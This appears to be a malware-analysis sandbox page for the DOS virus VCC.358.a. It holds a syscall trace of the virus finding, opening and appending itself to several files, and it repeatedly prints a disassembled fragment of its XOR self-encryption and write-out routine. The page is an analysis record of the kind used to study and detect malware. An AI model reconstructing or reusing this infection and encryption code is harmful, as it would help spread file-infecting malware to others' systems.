Sample viewer

vx.netlux.org/Virus.DOS.VCC.358.a

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:42:09.132081277Z 26 PC: 12a73 | Set disk transfer address
2018-12-17T22:42:09.135309251Z 37 PC: 12a80 | Set interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:42:09.136723591Z 37 PC: 12a84 | Set interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:42:09.138139191Z 78 PC: 12a9d | Find first file
2018-12-17T22:42:09.144308876Z 61 PC: 12b3a | Open file (Filename = '')
2018-12-17T22:42:09.151497155Z 63 PC: 12b49 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:42:09.158202124Z 66 PC: 12b58 | Move file pointer
2018-12-17T22:42:09.159472322Z 66 PC: 12b67 | Move file pointer
2018-12-17T22:42:09.161434249Z 64 PC: 12b73 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:42:09.164116381Z 66 PC: 12b7f | Move file pointer
2018-12-17T22:42:09.165393106Z 44 PC: 12b83 | Get time 0x12b83: mov byte ptr [bp + 0x166], dl
0x12b87: call 0x12b9d
0x12b8a: mov ah, 0x40
0x12b8c: mov cx, 0x166
0x12b8f: lea dx, word ptr [bp + 6]
0x12b93: int 0x21
0x12b95: call 0x12b9d
0x12b98: mov ah, 0x3e
0x12b9a: int 0x21
0x12b9c: ret
0x12b9d: lea si, word ptr [bp + 0x20]
0x12ba1: mov cx, 0x127
0x12ba4: xor byte ptr [si], 0
0x12ba7: inc si
0x12ba8: dec cx
0x12ba9: jne 0x12ba4
0x12bab: ret
0x12bac: add word ptr [bx], di
0x12bae: aas
0x12baf: aas
2018-12-17T22:42:09.172936631Z 64 PC: 12b95 | Write file or device (Write 358 bytes on handle 5)
2018-12-17T22:42:09.186427623Z 62 PC: 12b9c | Close file
2018-12-17T22:42:09.194789642Z 79 PC: 12a9d | Find next file
2018-12-17T22:42:09.201450903Z 61 PC: 12b3a | Open file (Filename = '')
2018-12-17T22:42:09.208106387Z 63 PC: 12b49 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:42:09.215003714Z 66 PC: 12b58 | Move file pointer
2018-12-17T22:42:09.217364728Z 66 PC: 12b67 | Move file pointer
2018-12-17T22:42:09.218694357Z 64 PC: 12b73 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:42:09.221226389Z 66 PC: 12b7f | Move file pointer
2018-12-17T22:42:09.22274438Z 44 PC: 12b83 | Get time 0x12b83: mov byte ptr [bp + 0x166], dl
0x12b87: call 0x12b9d
0x12b8a: mov ah, 0x40
0x12b8c: mov cx, 0x166
0x12b8f: lea dx, word ptr [bp + 6]
0x12b93: int 0x21
0x12b95: call 0x12b9d
0x12b98: mov ah, 0x3e
0x12b9a: int 0x21
0x12b9c: ret
0x12b9d: lea si, word ptr [bp + 0x20]
0x12ba1: mov cx, 0x127
0x12ba4: xor byte ptr [si], 0x43
0x12ba7: inc si
0x12ba8: dec cx
0x12ba9: jne 0x12ba4
0x12bab: ret
0x12bac: add word ptr [bx], di
0x12bae: aas
0x12baf: aas
2018-12-17T22:42:09.225412763Z 64 PC: 12b95 | Write file or device (Write 358 bytes on handle 5)
2018-12-17T22:42:09.228832488Z 62 PC: 12b9c | Close file
2018-12-17T22:42:09.249685242Z 79 PC: 12a9d | Find next file
2018-12-17T22:42:09.252100506Z 61 PC: 12b3a | Open file (Filename = '')
2018-12-17T22:42:09.256421039Z 63 PC: 12b49 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:42:09.260643853Z 66 PC: 12b58 | Move file pointer
2018-12-17T22:42:09.262526483Z 66 PC: 12b67 | Move file pointer
2018-12-17T22:42:09.263957577Z 64 PC: 12b73 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:42:09.266529924Z 66 PC: 12b7f | Move file pointer
2018-12-17T22:42:09.268758134Z 44 PC: 12b83 | Get time 0x12b83: mov byte ptr [bp + 0x166], dl
0x12b87: call 0x12b9d
0x12b8a: mov ah, 0x40
0x12b8c: mov cx, 0x166
0x12b8f: lea dx, word ptr [bp + 6]
0x12b93: int 0x21
0x12b95: call 0x12b9d
0x12b98: mov ah, 0x3e
0x12b9a: int 0x21
0x12b9c: ret
0x12b9d: lea si, word ptr [bp + 0x20]
0x12ba1: mov cx, 0x127
0x12ba4: xor byte ptr [si], 0x43
0x12ba7: inc si
0x12ba8: dec cx
0x12ba9: jne 0x12ba4
0x12bab: ret
0x12bac: add word ptr [bx], di
0x12bae: aas
0x12baf: aas
2018-12-17T22:42:09.271078637Z 64 PC: 12b95 | Write file or device (Write 358 bytes on handle 5)
2018-12-17T22:42:09.273782648Z 62 PC: 12b9c | Close file
2018-12-17T22:42:09.285253207Z 79 PC: 12a9d | Find next file
2018-12-17T22:42:09.287211577Z 61 PC: 12b3a | Open file (Filename = '')
2018-12-17T22:42:09.293624213Z 63 PC: 12b49 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:42:09.310740677Z 66 PC: 12b58 | Move file pointer
2018-12-17T22:42:09.312632069Z 66 PC: 12b67 | Move file pointer
2018-12-17T22:42:09.314410127Z 64 PC: 12b73 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:42:09.333165635Z 66 PC: 12b7f | Move file pointer
2018-12-17T22:42:09.334606252Z 44 PC: 12b83 | Get time 0x12b83: mov byte ptr [bp + 0x166], dl
0x12b87: call 0x12b9d
0x12b8a: mov ah, 0x40
0x12b8c: mov cx, 0x166
0x12b8f: lea dx, word ptr [bp + 6]
0x12b93: int 0x21
0x12b95: call 0x12b9d
0x12b98: mov ah, 0x3e
0x12b9a: int 0x21
0x12b9c: ret
0x12b9d: lea si, word ptr [bp + 0x20]
0x12ba1: mov cx, 0x127
0x12ba4: xor byte ptr [si], 0x49
0x12ba7: inc si
0x12ba8: dec cx
0x12ba9: jne 0x12ba4
0x12bab: ret
0x12bac: add word ptr [bx], di
0x12bae: aas
0x12baf: aas
2018-12-17T22:42:09.336622352Z 64 PC: 12b95 | Write file or device (Write 358 bytes on handle 5)
2018-12-17T22:42:09.340193597Z 62 PC: 12b9c | Close file
2018-12-17T22:42:09.353114593Z 79 PC: 12a9d | Find next file
2018-12-17T22:42:09.355772792Z 61 PC: 12b3a | Open file (Filename = '')
2018-12-17T22:42:09.360351396Z 63 PC: 12b49 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:42:09.365059806Z 66 PC: 12b58 | Move file pointer
2018-12-17T22:42:09.374282569Z 66 PC: 12b67 | Move file pointer
2018-12-17T22:42:09.379352865Z 64 PC: 12b73 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:42:09.382471766Z 66 PC: 12b7f | Move file pointer
2018-12-17T22:42:09.38418726Z 44 PC: 12b83 | Get time 0x12b83: mov byte ptr [bp + 0x166], dl
0x12b87: call 0x12b9d
0x12b8a: mov ah, 0x40
0x12b8c: mov cx, 0x166
0x12b8f: lea dx, word ptr [bp + 6]
0x12b93: int 0x21
0x12b95: call 0x12b9d
0x12b98: mov ah, 0x3e
0x12b9a: int 0x21
0x12b9c: ret
0x12b9d: lea si, word ptr [bp + 0x20]
0x12ba1: mov cx, 0x127
0x12ba4: xor byte ptr [si], 0x4e
0x12ba7: inc si
0x12ba8: dec cx
0x12ba9: jne 0x12ba4
0x12bab: ret
0x12bac: add word ptr [bx], di
0x12bae: aas
0x12baf: aas
2018-12-17T22:42:09.38697047Z 64 PC: 12b95 | Write file or device (Write 358 bytes on handle 5)
2018-12-17T22:42:09.393710452Z 62 PC: 12b9c | Close file
2018-12-17T22:42:09.402786445Z 26 PC: 12ab7 | Set disk transfer address